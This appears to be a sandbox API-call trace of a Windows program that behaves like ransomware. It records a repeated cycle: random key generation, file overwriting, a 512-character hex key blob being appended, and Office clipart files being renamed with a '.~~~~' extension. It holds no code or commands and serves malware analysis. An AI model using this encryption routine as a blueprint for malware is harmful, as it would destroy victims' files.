	[0097.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.551] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21754090835) returned 1
	[0097.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3dade30, dwHighDateTime=0x1d60e1e)) 
	[0097.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840e30
	[0097.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840e30 | out: hHeap=0x300000) returned 1
	[0097.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c7a0
	[0097.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.551] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.552] GetLastError () returned 0x0
	[0097.552] GetLastError () returned 0x0
	[0097.552] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.552] GetLastError () returned 0x0
	[0097.552] GetLastError () returned 0x0
	[0097.556] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe230, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.556] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1dd0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1dd0, lpOverlapped=0x0) returned 1
	[0097.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.556] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.556] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.556] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.556] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.556] CloseHandle (hObject=0xc4) returned 1
	[0097.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.557] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.~~~~")) returned 1
	[0097.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.557] GetLastError () returned 0x0
	[0097.558] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.559] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.559] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.559] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21754883311) returned 1
	[0097.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3dd3f90, dwHighDateTime=0x1d60e1e)) 
	[0097.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840ea0
	[0097.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840ea0 | out: hHeap=0x300000) returned 1
	[0097.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c838
	[0097.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.559] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.559] GetLastError () returned 0x0
	[0097.560] GetLastError () returned 0x0
	[0097.560] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.560] GetLastError () returned 0x0
	[0097.560] GetLastError () returned 0x0
	[0097.570] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc8cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.570] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3734, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3734, lpOverlapped=0x0) returned 1
	[0097.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.571] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.571] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.572] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.572] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.572] CloseHandle (hObject=0xc4) returned 1
	[0097.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.572] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.~~~~")) returned 1
	[0097.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.573] GetLastError () returned 0x0
	[0097.573] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.574] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.574] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.574] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21756431642) returned 1
	[0097.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3dfa0f0, dwHighDateTime=0x1d60e1e)) 
	[0097.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840ed8
	[0097.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840ed8 | out: hHeap=0x300000) returned 1
	[0097.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c968
	[0097.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.575] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.575] GetLastError () returned 0x0
	[0097.575] GetLastError () returned 0x0
	[0097.575] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.575] GetLastError () returned 0x0
	[0097.579] GetLastError () returned 0x0
	[0097.588] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff9634, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.589] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x69cc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x69cc, lpOverlapped=0x0) returned 1
	[0097.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.590] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.590] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.590] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.590] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.590] CloseHandle (hObject=0xc4) returned 1
	[0097.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.590] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.~~~~")) returned 1
	[0097.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.591] GetLastError () returned 0x0
	[0097.591] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.592] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.592] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.592] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21758238233) returned 1
	[0097.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3e20250, dwHighDateTime=0x1d60e1e)) 
	[0097.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840f48
	[0097.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840f48 | out: hHeap=0x300000) returned 1
	[0097.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280ca00
	[0097.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.593] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.593] GetLastError () returned 0x0
	[0097.593] GetLastError () returned 0x0
	[0097.593] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.593] GetLastError () returned 0x0
	[0097.593] GetLastError () returned 0x0
	[0097.598] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff42fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.598] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xbd04, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xbd04, lpOverlapped=0x0) returned 1
	[0097.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.612] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.612] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.612] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.612] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.612] CloseHandle (hObject=0xc4) returned 1
	[0097.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0097.612] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.~~~~")) returned 1
	[0097.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.614] GetLastError () returned 0x0
	[0097.615] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.616] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.616] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.616] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21760602277) returned 1
	[0097.616] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3e463b0, dwHighDateTime=0x1d60e1e)) 
	[0097.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840f80
	[0097.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840f80 | out: hHeap=0x300000) returned 1
	[0097.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0097.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280cb30
	[0097.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.617] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.617] GetLastError () returned 0x0
	[0097.617] GetLastError () returned 0x0
	[0097.617] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.617] GetLastError () returned 0x0
	[0097.617] GetLastError () returned 0x0
	[0097.634] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffbcd0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.634] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x4330, lpOverlapped=0x0) returned 1
	[0097.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.635] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.635] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.635] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.635] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.635] CloseHandle (hObject=0xc4) returned 1
	[0097.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.635] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.~~~~")) returned 1
	[0097.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.636] GetLastError () returned 0x0
	[0097.637] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
